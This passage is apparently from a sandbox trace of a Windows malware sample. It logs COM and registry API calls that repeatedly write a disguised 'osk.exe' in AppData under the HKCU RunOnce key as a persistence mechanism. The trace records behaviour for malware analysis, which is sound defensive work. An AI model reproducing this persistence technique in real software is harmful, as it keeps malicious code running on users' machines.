bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62409a0) returned 0x0 [0256.698] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x31 [0256.698] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.699] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.699] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.699] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.699] RegCloseKey (hKey=0x14c) returned 0x0 [0256.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.700] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.711] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.711] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.711] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.711] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.711] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62409f0 | out: ppvObject=0x62409f0*=0x0) returned 0x80004002 [0256.711] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x33 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.712] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x34 [0256.712] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a450) returned 0x0 [0256.712] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x33 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.712] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a10 | out: ppvObject=0x6240a10*=0x0) returned 0x80004002 [0256.712] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x34 [0256.713] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x33 [0256.713] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.713] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x33 [0256.713] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240a20) returned 0x0 [0256.714] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x32 [0256.714] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.714] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.714] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.715] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.715] RegCloseKey (hKey=0x14c) returned 0x0 [0256.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.715] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.726] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.726] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.727] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.727] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a70 | out: ppvObject=0x6240a70*=0x0) returned 0x80004002 [0256.727] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x34 [0256.727] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.727] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x35 [0256.727] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a4b0) returned 0x0 [0256.728] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x34 [0256.728] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.728] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.728] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.728] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.728] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240a90 | out: ppvObject=0x6240a90*=0x0) returned 0x80004002 [0256.728] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x35 [0256.728] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x34 [0256.728] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.728] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x34 [0256.728] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240aa0) returned 0x0 [0256.729] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x33 [0256.730] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.730] malloc (_Size=0xa8) returned 0x54d17b8 [0256.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.730] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.730] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.731] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.731] RegCloseKey (hKey=0x14c) returned 0x0 [0256.731] SetEvent (hEvent=0x4a0) returned 1 [0256.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.731] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.742] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.742] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.742] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.743] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.743] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240af0 | out: ppvObject=0x6240af0*=0x0) returned 0x80004002 [0256.743] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x35 [0256.743] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.743] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x36 [0256.743] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a510) returned 0x0 [0256.743] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x35 [0256.743] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.743] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.743] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.744] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.744] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b10 | out: ppvObject=0x6240b10*=0x0) returned 0x80004002 [0256.744] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x36 [0256.744] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x35 [0256.744] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.744] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x35 [0256.744] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), 